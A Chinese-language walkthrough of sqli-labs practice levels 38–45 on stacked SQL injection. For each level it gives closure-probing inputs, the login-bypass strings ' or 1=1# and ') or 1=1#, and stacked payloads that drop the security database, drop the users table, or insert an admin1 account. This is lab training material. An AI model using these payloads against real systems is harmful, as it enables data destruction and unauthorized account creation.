sqli-labs靶场38-45关(堆叠注入)
目录
less38(堆叠注入1)
less39(堆叠注入2)
less40(堆叠注入3)
less41(堆叠注入4)
less42(堆叠注入5)
less43(堆叠注入6)
less44(堆叠注入7)
less45(堆叠注入8)
less38(堆叠注入1)
mysqli_multi_query函数——执行多个 SQL 语句,这些语句在字符串 $sql
中用分号分隔。
mysqli_store_result函数——获取第一个查询的结果集,并将其存储在内存中。
mysqli_fetch_row函数——从结果集中获取一行数据,返回一个索引数组。
所以查询只会返回分号前面的结果,不显示后面查询的结果。
但是分号后面可以是执行增删改操作的语句。
分号前面需要闭合,分号后面是需要执行的恶意操作。
比如:
?id=1';drop database security;
?id=1';drop table users;
?id=1';insert into users(username,password) values ('admin1','123456');
要注入的话直接union注入就行。
less39(堆叠注入2)
和less38一样
less40(堆叠注入3)
?id=1'——不正常回显,判断为单引号闭合
?id=1'--+——不正常回显,说明还没有完全闭合
?id=1')--+——正常回显,判断为')闭合
判断好闭合后,利用堆叠注入:
?id=1');drop database security;
?id=1');drop table users;
?id=1');insert into users(username,password) values ('admin1','123456');
less41(堆叠注入4)
?id=1'不正常回显,?id=1'--+不正常回显
?id=1')--+以及?id=1'))--+都不正常回显,说明可能是数字型
?id=1 and 1=1正常回显,判断为数字型
利用堆叠查询:
?id=1;drop database security;
?id=1;drop table users;
?id=1;insert into users(username,password) values ('admin1','123456');
less42(堆叠注入5)
username随便输
password输入万能密码:' or 1=1#成功登录
——单引号闭合,注入点在password处
利用堆叠注入:
username随便输
password输入:
';drop database security;
';drop table users;
';insert into users(username,password) values ('admin1','123456');
less43(堆叠注入6)
和less42差不多,
username随便输
password输入万能密码:') or 1=1#成功登录
——单引号括号闭合,注入点在password处
利用堆叠注入:
username随便输
password输入:
');drop database security;
');drop table users;
');insert into users(username,password) values ('admin1','123456');
less44(堆叠注入7)
和less42一样:
username随便输
password输入万能密码:' or 1=1#成功登录
——单引号闭合,注入点在password处
利用堆叠注入:
username随便输
password输入:
';drop database security;
';drop table users;
';insert into users(username,password) values ('admin1','123456');
less45(堆叠注入8)
和less43一样:
username随便输
password输入万能密码:') or 1=1#成功登录
——单引号括号闭合,注入点在password处
利用堆叠注入:
username随便输
password输入:
');drop database security;
');drop table users;
');insert into users(username,password) values ('admin1','123456');